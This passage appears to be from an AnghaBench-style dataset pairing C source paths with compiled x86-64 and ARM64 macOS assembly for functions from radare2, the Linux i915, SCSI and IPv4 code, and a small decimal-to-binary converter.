.build_version macos, 13, 0 sdk_version 13, 3
.p2align 2 ; -- Begin function __rap_reg_write
___rap_reg_write: ; @__rap_reg_write
.cfi_startproc
; %bb.0:
mov w0, #0
ret
.cfi_endproc
; -- End function
.no_dead_strip ___rap_reg_write
.subsections_via_symbols
| AnghaBench/radare2/libr/debug/p/extr_debug_rap.c___rap_reg_write.c | anghabench |
.section __TEXT,__text,regular,pure_instructions
.build_version macos, 13, 0 sdk_version 13, 3
.p2align 4, 0x90 ## -- Begin function hsw_restore_lcpll
_hsw_restore_lcpll: ## @hsw_restore_lcpll
.cfi_startproc
## %bb.0:
pushq %rbp
.cfi_def_cfa_offset 16
.cfi_offset %rbp, -16
movq %rsp, %rbp
.cfi_def_cfa_register %rbp
pushq %r15
pushq %r14
pushq %r13
pushq %r12
pushq %rbx
pushq %rax
.cfi_offset %rbx, -56
.cfi_offset %r12, -48
.cfi_offset %r13, -40
.cfi_offset %r14, -32
.cfi_offset %r15, -24
movq %rdi, %r15
movq _LCPLL_CTL@GOTPCREL(%rip), %r13
movl (%r13), %edi
callq _I915_READ
movl %eax, %ebx
movq _LCPLL_PLL_LOCK@GOTPCREL(%rip), %rax
movl (%rax), %eax
movq _LCPLL_PLL_DISABLE@GOTPCREL(%rip), %r12
movl (%r12), %ecx
orl %eax, %ecx
movq _LCPLL_CD_SOURCE_FCLK@GOTPCREL(%rip), %rdx
orl (%rdx), %ecx
movq _LCPLL_POWER_DOWN_ALLOW@GOTPCREL(%rip), %r14
orl (%r14), %ecx
andl %ebx, %ecx
cmpl %eax, %ecx
jne LBB0_1
## %bb.9:
addq $8, %rsp
popq %rbx
popq %r12
popq %r13
popq %r14
popq %r15
popq %rbp
retq
LBB0_1:
leaq 4(%r15), %rdi
movq _FORCEWAKE_ALL@GOTPCREL(%rip), %rax
movl (%rax), %esi
movq %rdi, -48(%rbp) ## 8-byte Spill
callq _intel_uncore_forcewake_get
movl (%r14), %eax
testl %ebx, %eax
je LBB0_3
## %bb.2:
notl %eax
andl %eax, %ebx
movl (%r13), %edi
movl %ebx, %esi
callq _I915_WRITE
movl (%r13), %edi
callq _POSTING_READ
LBB0_3:
movq %r15, %rdi
callq _hsw_read_dcomp
movq _D_COMP_COMP_FORCE@GOTPCREL(%rip), %rcx
orl (%rcx), %eax
movq _D_COMP_COMP_DISABLE@GOTPCREL(%rip), %rcx
movl (%rcx), %esi
notl %esi
andl %eax, %esi
movq %r15, %rdi
callq _hsw_write_dcomp
movl (%r13), %edi
callq _I915_READ
movl (%r12), %ebx
notl %ebx
andl %eax, %ebx
movl (%r13), %edi
movl %ebx, %esi
callq _I915_WRITE
movl (%r13), %esi
movq _LCPLL_PLL_LOCK@GOTPCREL(%rip), %rax
movl (%rax), %edx
movq %r15, %rdi
movl $5, %ecx
callq _intel_de_wait_for_set
testq %rax, %rax
je LBB0_5
## %bb.4:
leaq L_.str(%rip), %rdi
callq _DRM_ERROR
LBB0_5:
movq _LCPLL_CD_SOURCE_FCLK@GOTPCREL(%rip), %rax
testl %ebx, (%rax)
je LBB0_8
## %bb.6:
movq %rax, %rbx
movl (%r13), %edi
callq _I915_READ
movl (%rbx), %esi
notl %esi
andl %eax, %esi
movl (%r13), %edi
callq _I915_WRITE
movl (%r13), %edi
callq _I915_READ
movq _LCPLL_CD_SOURCE_FCLK_DONE@GOTPCREL(%rip), %rcx
xorl %edi, %edi
andl (%rcx), %eax
sete %dil
movl $1, %esi
callq _wait_for_us
testq %rax, %rax
je LBB0_8
## %bb.7:
leaq L_.str.1(%rip), %rdi
callq _DRM_ERROR
LBB0_8:
movq _FORCEWAKE_ALL@GOTPCREL(%rip), %rax
movl (%rax), %esi
movq -48(%rbp), %rdi ## 8-byte Reload
callq _intel_uncore_forcewake_put
movq %r15, %rdi
callq _intel_update_cdclk
leaq L_.str.2(%rip), %rsi
movq %r15, %rdi
addq $8, %rsp
popq %rbx
popq %r12
popq %r13
popq %r14
popq %r15
popq %rbp
jmp _intel_dump_cdclk_state ## TAILCALL
.cfi_endproc
## -- End function
.comm _LCPLL_CTL,4,2 ## @LCPLL_CTL
.comm _LCPLL_PLL_LOCK,4,2 ## @LCPLL_PLL_LOCK
.comm _LCPLL_PLL_DISABLE,4,2 ## @LCPLL_PLL_DISABLE
.comm _LCPLL_CD_SOURCE_FCLK,4,2 ## @LCPLL_CD_SOURCE_FCLK
.comm _LCPLL_POWER_DOWN_ALLOW,4,2 ## @LCPLL_POWER_DOWN_ALLOW
.comm _FORCEWAKE_ALL,4,2 ## @FORCEWAKE_ALL
.comm _D_COMP_COMP_FORCE,4,2 ## @D_COMP_COMP_FORCE
.comm _D_COMP_COMP_DISABLE,4,2 ## @D_COMP_COMP_DISABLE
.section __TEXT,__cstring,cstring_literals
L_.str: ## @.str
.asciz "LCPLL not locked yet\n"
.comm _LCPLL_CD_SOURCE_FCLK_DONE,4,2 ## @LCPLL_CD_SOURCE_FCLK_DONE
L_.str.1: ## @.str.1
.asciz "Switching back to LCPLL failed\n"
L_.str.2: ## @.str.2
.asciz "Current CDCLK"
.no_dead_strip _hsw_restore_lcpll
.subsections_via_symbols
| .section __TEXT,__text,regular,pure_instructions
.build_version macos, 13, 0 sdk_version 13, 3
.p2align 2 ; -- Begin function hsw_restore_lcpll
_hsw_restore_lcpll: ; @hsw_restore_lcpll
.cfi_startproc
; %bb.0:
stp x28, x27, [sp, #-96]! ; 16-byte Folded Spill
.cfi_def_cfa_offset 96
stp x26, x25, [sp, #16] ; 16-byte Folded Spill
stp x24, x23, [sp, #32] ; 16-byte Folded Spill
stp x22, x21, [sp, #48] ; 16-byte Folded Spill
stp x20, x19, [sp, #64] ; 16-byte Folded Spill
stp x29, x30, [sp, #80] ; 16-byte Folded Spill
add x29, sp, #80
.cfi_def_cfa w29, 16
.cfi_offset w30, -8
.cfi_offset w29, -16
.cfi_offset w19, -24
.cfi_offset w20, -32
.cfi_offset w21, -40
.cfi_offset w22, -48
.cfi_offset w23, -56
.cfi_offset w24, -64
.cfi_offset w25, -72
.cfi_offset w26, -80
.cfi_offset w27, -88
.cfi_offset w28, -96
mov x19, x0
Lloh0:
adrp x23, _LCPLL_CTL@GOTPAGE
Lloh1:
ldr x23, [x23, _LCPLL_CTL@GOTPAGEOFF]
ldr w0, [x23]
bl _I915_READ
Lloh2:
adrp x25, _LCPLL_PLL_LOCK@GOTPAGE
Lloh3:
ldr x25, [x25, _LCPLL_PLL_LOCK@GOTPAGEOFF]
ldr w8, [x25]
Lloh4:
adrp x26, _LCPLL_PLL_DISABLE@GOTPAGE
Lloh5:
ldr x26, [x26, _LCPLL_PLL_DISABLE@GOTPAGEOFF]
ldr w9, [x26]
orr w9, w9, w8
Lloh6:
adrp x24, _LCPLL_CD_SOURCE_FCLK@GOTPAGE
Lloh7:
ldr x24, [x24, _LCPLL_CD_SOURCE_FCLK@GOTPAGEOFF]
ldr w10, [x24]
orr w9, w9, w10
Lloh8:
adrp x27, _LCPLL_POWER_DOWN_ALLOW@GOTPAGE
Lloh9:
ldr x27, [x27, _LCPLL_POWER_DOWN_ALLOW@GOTPAGEOFF]
ldr w10, [x27]
orr w9, w9, w10
and w9, w9, w0
cmp w9, w8
b.ne LBB0_2
; %bb.1:
ldp x29, x30, [sp, #80] ; 16-byte Folded Reload
ldp x20, x19, [sp, #64] ; 16-byte Folded Reload
ldp x22, x21, [sp, #48] ; 16-byte Folded Reload
ldp x24, x23, [sp, #32] ; 16-byte Folded Reload
ldp x26, x25, [sp, #16] ; 16-byte Folded Reload
ldp x28, x27, [sp], #96 ; 16-byte Folded Reload
ret
LBB0_2:
mov x21, x0
add x20, x19, #4
Lloh10:
adrp x22, _FORCEWAKE_ALL@GOTPAGE
Lloh11:
ldr x22, [x22, _FORCEWAKE_ALL@GOTPAGEOFF]
ldr w1, [x22]
mov x0, x20
bl _intel_uncore_forcewake_get
ldr w8, [x27]
tst w8, w21
b.eq LBB0_4
; %bb.3:
bic w1, w21, w8
ldr w0, [x23]
bl _I915_WRITE
ldr w0, [x23]
bl _POSTING_READ
LBB0_4:
mov x0, x19
bl _hsw_read_dcomp
Lloh12:
adrp x8, _D_COMP_COMP_FORCE@GOTPAGE
Lloh13:
ldr x8, [x8, _D_COMP_COMP_FORCE@GOTPAGEOFF]
Lloh14:
ldr w8, [x8]
orr w8, w8, w0
Lloh15:
adrp x9, _D_COMP_COMP_DISABLE@GOTPAGE
Lloh16:
ldr x9, [x9, _D_COMP_COMP_DISABLE@GOTPAGEOFF]
Lloh17:
ldr w9, [x9]
bic w1, w8, w9
mov x0, x19
bl _hsw_write_dcomp
ldr w0, [x23]
bl _I915_READ
ldr w8, [x26]
bic w21, w0, w8
ldr w0, [x23]
mov x1, x21
bl _I915_WRITE
ldr w1, [x23]
ldr w2, [x25]
mov x0, x19
mov w3, #5
bl _intel_de_wait_for_set
cbz x0, LBB0_6
; %bb.5:
Lloh18:
adrp x0, l_.str@PAGE
Lloh19:
add x0, x0, l_.str@PAGEOFF
bl _DRM_ERROR
LBB0_6:
ldr w8, [x24]
tst w8, w21
b.eq LBB0_9
; %bb.7:
ldr w0, [x23]
bl _I915_READ
ldr w8, [x24]
bic w1, w0, w8
ldr w0, [x23]
bl _I915_WRITE
ldr w0, [x23]
bl _I915_READ
Lloh20:
adrp x8, _LCPLL_CD_SOURCE_FCLK_DONE@GOTPAGE
Lloh21:
ldr x8, [x8, _LCPLL_CD_SOURCE_FCLK_DONE@GOTPAGEOFF]
Lloh22:
ldr w8, [x8]
tst w8, w0
cset w0, eq
mov w1, #1
bl _wait_for_us
cbz x0, LBB0_9
; %bb.8:
Lloh23:
adrp x0, l_.str.1@PAGE
Lloh24:
add x0, x0, l_.str.1@PAGEOFF
bl _DRM_ERROR
LBB0_9:
ldr w1, [x22]
mov x0, x20
bl _intel_uncore_forcewake_put
mov x0, x19
bl _intel_update_cdclk
Lloh25:
adrp x1, l_.str.2@PAGE
Lloh26:
add x1, x1, l_.str.2@PAGEOFF
mov x0, x19
ldp x29, x30, [sp, #80] ; 16-byte Folded Reload
ldp x20, x19, [sp, #64] ; 16-byte Folded Reload
ldp x22, x21, [sp, #48] ; 16-byte Folded Reload
ldp x24, x23, [sp, #32] ; 16-byte Folded Reload
ldp x26, x25, [sp, #16] ; 16-byte Folded Reload
ldp x28, x27, [sp], #96 ; 16-byte Folded Reload
b _intel_dump_cdclk_state
.loh AdrpLdrGot Lloh8, Lloh9
.loh AdrpLdrGot Lloh6, Lloh7
.loh AdrpLdrGot Lloh4, Lloh5
.loh AdrpLdrGot Lloh2, Lloh3
.loh AdrpLdrGot Lloh0, Lloh1
.loh AdrpLdrGot Lloh10, Lloh11
.loh AdrpLdrGotLdr Lloh15, Lloh16, Lloh17
.loh AdrpLdrGotLdr Lloh12, Lloh13, Lloh14
.loh AdrpAdd Lloh18, Lloh19
.loh AdrpLdrGotLdr Lloh20, Lloh21, Lloh22
.loh AdrpAdd Lloh23, Lloh24
.loh AdrpAdd Lloh25, Lloh26
.cfi_endproc
; -- End function
.comm _LCPLL_CTL,4,2 ; @LCPLL_CTL
.comm _LCPLL_PLL_LOCK,4,2 ; @LCPLL_PLL_LOCK
.comm _LCPLL_PLL_DISABLE,4,2 ; @LCPLL_PLL_DISABLE
.comm _LCPLL_CD_SOURCE_FCLK,4,2 ; @LCPLL_CD_SOURCE_FCLK
.comm _LCPLL_POWER_DOWN_ALLOW,4,2 ; @LCPLL_POWER_DOWN_ALLOW
.comm _FORCEWAKE_ALL,4,2 ; @FORCEWAKE_ALL
.comm _D_COMP_COMP_FORCE,4,2 ; @D_COMP_COMP_FORCE
.comm _D_COMP_COMP_DISABLE,4,2 ; @D_COMP_COMP_DISABLE
.section __TEXT,__cstring,cstring_literals
l_.str: ; @.str
.asciz "LCPLL not locked yet\n"
.comm _LCPLL_CD_SOURCE_FCLK_DONE,4,2 ; @LCPLL_CD_SOURCE_FCLK_DONE
l_.str.1: ; @.str.1
.asciz "Switching back to LCPLL failed\n"
l_.str.2: ; @.str.2
.asciz "Current CDCLK"
.no_dead_strip _hsw_restore_lcpll
.subsections_via_symbols
| AnghaBench/linux/drivers/gpu/drm/i915/display/extr_intel_display_power.c_hsw_restore_lcpll.c | anghabench |
.section __TEXT,__text,regular,pure_instructions
.build_version macos, 13, 0 sdk_version 13, 3
.p2align 4, 0x90 ## -- Begin function scsi_mq_exit_request
_scsi_mq_exit_request: ## @scsi_mq_exit_request
.cfi_startproc
## %bb.0:
pushq %rbp
.cfi_def_cfa_offset 16
.cfi_offset %rbp, -16
movq %rsp, %rbp
.cfi_def_cfa_register %rbp
movq %rsi, %rdi
callq _blk_mq_rq_to_pdu
movq _SCMD_UNCHECKED_ISA_DMA@GOTPCREL(%rip), %rcx
movl (%rcx), %edi
andl (%rax), %edi
movl 4(%rax), %esi
popq %rbp
jmp _scsi_free_sense_buffer ## TAILCALL
.cfi_endproc
## -- End function
.comm _SCMD_UNCHECKED_ISA_DMA,4,2 ## @SCMD_UNCHECKED_ISA_DMA
.no_dead_strip _scsi_mq_exit_request
.subsections_via_symbols
| .section __TEXT,__text,regular,pure_instructions
.build_version macos, 13, 0 sdk_version 13, 3
.p2align 2 ; -- Begin function scsi_mq_exit_request
_scsi_mq_exit_request: ; @scsi_mq_exit_request
.cfi_startproc
; %bb.0:
stp x29, x30, [sp, #-16]! ; 16-byte Folded Spill
.cfi_def_cfa_offset 16
mov x29, sp
.cfi_def_cfa w29, 16
.cfi_offset w30, -8
.cfi_offset w29, -16
mov x0, x1
bl _blk_mq_rq_to_pdu
Lloh0:
adrp x8, _SCMD_UNCHECKED_ISA_DMA@GOTPAGE
Lloh1:
ldr x8, [x8, _SCMD_UNCHECKED_ISA_DMA@GOTPAGEOFF]
Lloh2:
ldr w8, [x8]
ldp w9, w1, [x0]
and w0, w8, w9
ldp x29, x30, [sp], #16 ; 16-byte Folded Reload
b _scsi_free_sense_buffer
.loh AdrpLdrGotLdr Lloh0, Lloh1, Lloh2
.cfi_endproc
; -- End function
.comm _SCMD_UNCHECKED_ISA_DMA,4,2 ; @SCMD_UNCHECKED_ISA_DMA
.no_dead_strip _scsi_mq_exit_request
.subsections_via_symbols
| AnghaBench/linux/drivers/scsi/extr_scsi_lib.c_scsi_mq_exit_request.c | anghabench |
.section __TEXT,__text,regular,pure_instructions
.build_version macos, 13, 0 sdk_version 13, 3
.globl _ip_local_deliver ## -- Begin function ip_local_deliver
.p2align 4, 0x90
_ip_local_deliver: ## @ip_local_deliver
.cfi_startproc
## %bb.0:
pushq %rbp
.cfi_def_cfa_offset 16
.cfi_offset %rbp, -16
movq %rsp, %rbp
.cfi_def_cfa_register %rbp
pushq %r14
pushq %rbx
.cfi_offset %rbx, -32
.cfi_offset %r14, -24
movq %rdi, %rbx
movl (%rdi), %edi
callq _dev_net
movq %rax, %r14
movq %rbx, %rdi
callq _ip_hdr
movl %eax, %edi
callq _ip_is_fragment
testq %rax, %rax
je LBB0_2
## %bb.1:
movq _IP_DEFRAG_LOCAL_DELIVER@GOTPCREL(%rip), %rax
movl (%rax), %edx
movq %r14, %rdi
movq %rbx, %rsi
callq _ip_defrag
testq %rax, %rax
je LBB0_2
## %bb.3:
xorl %eax, %eax
jmp LBB0_4
LBB0_2:
movq _NFPROTO_IPV4@GOTPCREL(%rip), %rax
movl (%rax), %edi
movq _NF_INET_LOCAL_IN@GOTPCREL(%rip), %rax
movl (%rax), %esi
movl (%rbx), %r9d
movq _ip_local_deliver_finish@GOTPCREL(%rip), %rax
movl (%rax), %eax
movq %r14, %rdx
xorl %ecx, %ecx
movq %rbx, %r8
pushq %rax
pushq $0
callq _NF_HOOK
addq $16, %rsp
LBB0_4:
popq %rbx
popq %r14
popq %rbp
retq
.cfi_endproc
## -- End function
.comm _IP_DEFRAG_LOCAL_DELIVER,4,2 ## @IP_DEFRAG_LOCAL_DELIVER
.comm _NFPROTO_IPV4,4,2 ## @NFPROTO_IPV4
.comm _NF_INET_LOCAL_IN,4,2 ## @NF_INET_LOCAL_IN
.comm _ip_local_deliver_finish,4,2 ## @ip_local_deliver_finish
.subsections_via_symbols
| .section __TEXT,__text,regular,pure_instructions
.build_version macos, 13, 0 sdk_version 13, 3
.globl _ip_local_deliver ; -- Begin function ip_local_deliver
.p2align 2
_ip_local_deliver: ; @ip_local_deliver
.cfi_startproc
; %bb.0:
stp x20, x19, [sp, #-32]! ; 16-byte Folded Spill
.cfi_def_cfa_offset 32
stp x29, x30, [sp, #16] ; 16-byte Folded Spill
add x29, sp, #16
.cfi_def_cfa w29, 16
.cfi_offset w30, -8
.cfi_offset w29, -16
.cfi_offset w19, -24
.cfi_offset w20, -32
mov x19, x0
ldr w0, [x0]
bl _dev_net
mov x20, x0
mov x0, x19
bl _ip_hdr
bl _ip_is_fragment
cbz x0, LBB0_3
; %bb.1:
Lloh0:
adrp x8, _IP_DEFRAG_LOCAL_DELIVER@GOTPAGE
Lloh1:
ldr x8, [x8, _IP_DEFRAG_LOCAL_DELIVER@GOTPAGEOFF]
Lloh2:
ldr w2, [x8]
mov x0, x20
mov x1, x19
bl _ip_defrag
cbz x0, LBB0_3
; %bb.2:
mov w0, #0
ldp x29, x30, [sp, #16] ; 16-byte Folded Reload
ldp x20, x19, [sp], #32 ; 16-byte Folded Reload
ret
LBB0_3:
Lloh3:
adrp x8, _NFPROTO_IPV4@GOTPAGE
Lloh4:
ldr x8, [x8, _NFPROTO_IPV4@GOTPAGEOFF]
Lloh5:
ldr w0, [x8]
Lloh6:
adrp x8, _NF_INET_LOCAL_IN@GOTPAGE
Lloh7:
ldr x8, [x8, _NF_INET_LOCAL_IN@GOTPAGEOFF]
Lloh8:
ldr w1, [x8]
ldr w5, [x19]
Lloh9:
adrp x8, _ip_local_deliver_finish@GOTPAGE
Lloh10:
ldr x8, [x8, _ip_local_deliver_finish@GOTPAGEOFF]
Lloh11:
ldr w7, [x8]
mov x2, x20
mov x3, #0
mov x4, x19
mov x6, #0
ldp x29, x30, [sp, #16] ; 16-byte Folded Reload
ldp x20, x19, [sp], #32 ; 16-byte Folded Reload
b _NF_HOOK
.loh AdrpLdrGotLdr Lloh0, Lloh1, Lloh2
.loh AdrpLdrGotLdr Lloh9, Lloh10, Lloh11
.loh AdrpLdrGotLdr Lloh6, Lloh7, Lloh8
.loh AdrpLdrGotLdr Lloh3, Lloh4, Lloh5
.cfi_endproc
; -- End function
.comm _IP_DEFRAG_LOCAL_DELIVER,4,2 ; @IP_DEFRAG_LOCAL_DELIVER
.comm _NFPROTO_IPV4,4,2 ; @NFPROTO_IPV4
.comm _NF_INET_LOCAL_IN,4,2 ; @NF_INET_LOCAL_IN
.comm _ip_local_deliver_finish,4,2 ; @ip_local_deliver_finish
.subsections_via_symbols
| AnghaBench/linux/net/ipv4/extr_ip_input.c_ip_local_deliver.c | anghabench |
.section __TEXT,__text,regular,pure_instructions
.build_version macos, 13, 0 sdk_version 13, 3
.globl _main ## -- Begin function main
.p2align 4, 0x90
_main: ## @main
.cfi_startproc
## %bb.0:
pushq %rbp
.cfi_def_cfa_offset 16
.cfi_offset %rbp, -16
movq %rsp, %rbp
.cfi_def_cfa_register %rbp
pushq %r15
pushq %r14
pushq %r13
pushq %r12
pushq %rbx
subq $40, %rsp
.cfi_offset %rbx, -56
.cfi_offset %r12, -48
.cfi_offset %r13, -40
.cfi_offset %r14, -32
.cfi_offset %r15, -24
leaq L_.str(%rip), %rdi
xorl %eax, %eax
callq _printf
leaq L_.str.1(%rip), %rdi
leaq -76(%rbp), %rsi
xorl %eax, %eax
callq _scanf
movl -76(%rbp), %esi
cmpl $2, %esi
jl LBB0_18
## %bb.1:
movl $1, %ebx
leaq LJTI0_0(%rip), %rax
## implicit-def: $ecx
## kill: killed $ecx
## implicit-def: $ecx
## kill: killed $ecx
## implicit-def: $ecx
## kill: killed $ecx
## implicit-def: $ecx
## kill: killed $ecx
## implicit-def: $ecx
## kill: killed $ecx
## implicit-def: $ecx
## kill: killed $ecx
## implicit-def: $ecx
## kill: killed $ecx
## implicit-def: $r13d
## implicit-def: $r12d
## implicit-def: $edi
jmp LBB0_2
LBB0_13: ## in Loop: Header=BB0_2 Depth=1
movl %edx, -48(%rbp) ## 4-byte Spill
.p2align 4, 0x90
LBB0_14: ## in Loop: Header=BB0_2 Depth=1
movl %ecx, %esi
shrl %esi
incl %ebx
cmpl $3, %ecx
jbe LBB0_15
LBB0_2: ## =>This Inner Loop Header: Depth=1
movl %esi, %ecx
leal -1(%rbx), %esi
cmpl $9, %esi
ja LBB0_14
## %bb.3: ## in Loop: Header=BB0_2 Depth=1
movl %ecx, %edx
andl $1, %edx
movslq (%rax,%rsi,4), %rsi
addq %rax, %rsi
jmpq *%rsi
LBB0_4: ## in Loop: Header=BB0_2 Depth=1
movl %edx, %edi
jmp LBB0_14
LBB0_5: ## in Loop: Header=BB0_2 Depth=1
movl %edx, %r12d
jmp LBB0_14
LBB0_6: ## in Loop: Header=BB0_2 Depth=1
movl %edx, %r13d
jmp LBB0_14
LBB0_7: ## in Loop: Header=BB0_2 Depth=1
movl %edx, -72(%rbp) ## 4-byte Spill
jmp LBB0_14
LBB0_8: ## in Loop: Header=BB0_2 Depth=1
movl %edx, -68(%rbp) ## 4-byte Spill
jmp LBB0_14
LBB0_9: ## in Loop: Header=BB0_2 Depth=1
movl %edx, -64(%rbp) ## 4-byte Spill
jmp LBB0_14
LBB0_10: ## in Loop: Header=BB0_2 Depth=1
movl %edx, -60(%rbp) ## 4-byte Spill
jmp LBB0_14
LBB0_11: ## in Loop: Header=BB0_2 Depth=1
movl %edx, -56(%rbp) ## 4-byte Spill
jmp LBB0_14
LBB0_12: ## in Loop: Header=BB0_2 Depth=1
movl %edx, -52(%rbp) ## 4-byte Spill
jmp LBB0_14
LBB0_18:
leaq L_.str.2(%rip), %rdi
LBB0_19:
xorl %eax, %eax
callq _printf
LBB0_31:
xorl %eax, %eax
addq $40, %rsp
popq %rbx
popq %r12
popq %r13
popq %r14
popq %r15
popq %rbp
retq
LBB0_15:
movl %edi, -44(%rbp) ## 4-byte Spill
leaq L_.str.2(%rip), %rdi
xorl %eax, %eax
callq _printf
leaq LJTI0_1(%rip), %r14
leaq L_.str.1(%rip), %r15
jmp LBB0_16
LBB0_28: ## in Loop: Header=BB0_16 Depth=1
movl -48(%rbp), %esi ## 4-byte Reload
.p2align 4, 0x90
LBB0_29: ## in Loop: Header=BB0_16 Depth=1
movq %r15, %rdi
xorl %eax, %eax
callq _printf
LBB0_30: ## in Loop: Header=BB0_16 Depth=1
decl %ebx
cmpl $1, %ebx
jle LBB0_31
LBB0_16: ## =>This Inner Loop Header: Depth=1
leal -2(%rbx), %eax
cmpl $9, %eax
ja LBB0_30
## %bb.17: ## in Loop: Header=BB0_16 Depth=1
movslq (%r14,%rax,4), %rax
addq %r14, %rax
movl %r12d, %esi
jmpq *%rax
LBB0_21: ## in Loop: Header=BB0_16 Depth=1
movl %r13d, %esi
jmp LBB0_29
LBB0_22: ## in Loop: Header=BB0_16 Depth=1
movl -72(%rbp), %esi ## 4-byte Reload
jmp LBB0_29
LBB0_23: ## in Loop: Header=BB0_16 Depth=1
movl -68(%rbp), %esi ## 4-byte Reload
jmp LBB0_29
LBB0_24: ## in Loop: Header=BB0_16 Depth=1
movl -64(%rbp), %esi ## 4-byte Reload
jmp LBB0_29
LBB0_25: ## in Loop: Header=BB0_16 Depth=1
movl -60(%rbp), %esi ## 4-byte Reload
jmp LBB0_29
LBB0_26: ## in Loop: Header=BB0_16 Depth=1
movl -56(%rbp), %esi ## 4-byte Reload
jmp LBB0_29
LBB0_27: ## in Loop: Header=BB0_16 Depth=1
movl -52(%rbp), %esi ## 4-byte Reload
jmp LBB0_29
LBB0_20:
leaq L_.str.1(%rip), %rdi
movl -44(%rbp), %esi ## 4-byte Reload
jmp LBB0_19
.cfi_endproc
.p2align 2, 0x90
.data_region jt32
.set L0_0_set_4, LBB0_4-LJTI0_0
.set L0_0_set_5, LBB0_5-LJTI0_0
.set L0_0_set_6, LBB0_6-LJTI0_0
.set L0_0_set_7, LBB0_7-LJTI0_0
.set L0_0_set_8, LBB0_8-LJTI0_0
.set L0_0_set_9, LBB0_9-LJTI0_0
.set L0_0_set_10, LBB0_10-LJTI0_0
.set L0_0_set_11, LBB0_11-LJTI0_0
.set L0_0_set_12, LBB0_12-LJTI0_0
.set L0_0_set_13, LBB0_13-LJTI0_0
LJTI0_0:
.long L0_0_set_4
.long L0_0_set_5
.long L0_0_set_6
.long L0_0_set_7
.long L0_0_set_8
.long L0_0_set_9
.long L0_0_set_10
.long L0_0_set_11
.long L0_0_set_12
.long L0_0_set_13
.set L0_1_set_20, LBB0_20-LJTI0_1
.set L0_1_set_29, LBB0_29-LJTI0_1
.set L0_1_set_21, LBB0_21-LJTI0_1
.set L0_1_set_22, LBB0_22-LJTI0_1
.set L0_1_set_23, LBB0_23-LJTI0_1
.set L0_1_set_24, LBB0_24-LJTI0_1
.set L0_1_set_25, LBB0_25-LJTI0_1
.set L0_1_set_26, LBB0_26-LJTI0_1
.set L0_1_set_27, LBB0_27-LJTI0_1
.set L0_1_set_28, LBB0_28-LJTI0_1
LJTI0_1:
.long L0_1_set_20
.long L0_1_set_29
.long L0_1_set_21
.long L0_1_set_22
.long L0_1_set_23
.long L0_1_set_24
.long L0_1_set_25
.long L0_1_set_26
.long L0_1_set_27
.long L0_1_set_28
.end_data_region
## -- End function
.section __TEXT,__cstring,cstring_literals
L_.str: ## @.str
.asciz "Insira o numero deciaml entre 0 a 1023:"
L_.str.1: ## @.str.1
.asciz "%i"
L_.str.2: ## @.str.2
.asciz "BIN: %i"
.subsections_via_symbols
| .section __TEXT,__text,regular,pure_instructions
.build_version macos, 13, 0 sdk_version 13, 3
.globl _main ; -- Begin function main
.p2align 2
_main: ; @main
.cfi_startproc
; %bb.0:
sub sp, sp, #128
.cfi_def_cfa_offset 128
stp x28, x27, [sp, #32] ; 16-byte Folded Spill
stp x26, x25, [sp, #48] ; 16-byte Folded Spill
stp x24, x23, [sp, #64] ; 16-byte Folded Spill
stp x22, x21, [sp, #80] ; 16-byte Folded Spill
stp x20, x19, [sp, #96] ; 16-byte Folded Spill
stp x29, x30, [sp, #112] ; 16-byte Folded Spill
add x29, sp, #112
.cfi_def_cfa w29, 16
.cfi_offset w30, -8
.cfi_offset w29, -16
.cfi_offset w19, -24
.cfi_offset w20, -32
.cfi_offset w21, -40
.cfi_offset w22, -48
.cfi_offset w23, -56
.cfi_offset w24, -64
.cfi_offset w25, -72
.cfi_offset w26, -80
.cfi_offset w27, -88
.cfi_offset w28, -96
Lloh0:
adrp x0, l_.str@PAGE
Lloh1:
add x0, x0, l_.str@PAGEOFF
bl _printf
add x8, sp, #28
str x8, [sp]
Lloh2:
adrp x0, l_.str.1@PAGE
Lloh3:
add x0, x0, l_.str.1@PAGEOFF
bl _scanf
ldr w8, [sp, #28]
cmp w8, #2
b.lt LBB0_15
; %bb.1:
mov w20, #1
Lloh4:
adrp x9, lJTI0_0@PAGE
Lloh5:
add x9, x9, lJTI0_0@PAGEOFF
; implicit-def: $w0
; kill: killed $w0
; implicit-def: $w0
; kill: killed $w0
; implicit-def: $w28
; implicit-def: $w27
; implicit-def: $w26
; implicit-def: $w25
; implicit-def: $w24
; implicit-def: $w23
; implicit-def: $w22
; implicit-def: $w14
b LBB0_4
LBB0_2: ; in Loop: Header=BB0_4 Depth=1
str w10, [sp, #20] ; 4-byte Folded Spill
LBB0_3: ; in Loop: Header=BB0_4 Depth=1
lsr w10, w8, #1
add w20, w20, #1
cmp w8, #3
mov x8, x10
b.ls LBB0_18
LBB0_4: ; =>This Inner Loop Header: Depth=1
sub w11, w20, #1
cmp w11, #9
b.hi LBB0_3
; %bb.5: ; in Loop: Header=BB0_4 Depth=1
and w10, w8, #0x1
adr x12, LBB0_2
ldrb w13, [x9, x11]
add x12, x12, x13, lsl #2
br x12
LBB0_6: ; in Loop: Header=BB0_4 Depth=1
mov x14, x10
b LBB0_3
LBB0_7: ; in Loop: Header=BB0_4 Depth=1
mov x22, x10
b LBB0_3
LBB0_8: ; in Loop: Header=BB0_4 Depth=1
mov x23, x10
b LBB0_3
LBB0_9: ; in Loop: Header=BB0_4 Depth=1
mov x24, x10
b LBB0_3
LBB0_10: ; in Loop: Header=BB0_4 Depth=1
mov x25, x10
b LBB0_3
LBB0_11: ; in Loop: Header=BB0_4 Depth=1
mov x26, x10
b LBB0_3
LBB0_12: ; in Loop: Header=BB0_4 Depth=1
mov x27, x10
b LBB0_3
LBB0_13: ; in Loop: Header=BB0_4 Depth=1
mov x28, x10
b LBB0_3
LBB0_14: ; in Loop: Header=BB0_4 Depth=1
str w10, [sp, #24] ; 4-byte Folded Spill
b LBB0_3
LBB0_15:
str x8, [sp]
Lloh6:
adrp x0, l_.str.2@PAGE
Lloh7:
add x0, x0, l_.str.2@PAGEOFF
LBB0_16:
bl _printf
LBB0_17:
mov w0, #0
ldp x29, x30, [sp, #112] ; 16-byte Folded Reload
ldp x20, x19, [sp, #96] ; 16-byte Folded Reload
ldp x22, x21, [sp, #80] ; 16-byte Folded Reload
ldp x24, x23, [sp, #64] ; 16-byte Folded Reload
ldp x26, x25, [sp, #48] ; 16-byte Folded Reload
ldp x28, x27, [sp, #32] ; 16-byte Folded Reload
add sp, sp, #128
ret
LBB0_18:
stp x10, x14, [sp] ; 8-byte Folded Spill
Lloh8:
adrp x0, l_.str.2@PAGE
Lloh9:
add x0, x0, l_.str.2@PAGEOFF
bl _printf
Lloh10:
adrp x21, lJTI0_1@PAGE
Lloh11:
add x21, x21, lJTI0_1@PAGEOFF
Lloh12:
adrp x19, l_.str.1@PAGE
Lloh13:
add x19, x19, l_.str.1@PAGEOFF
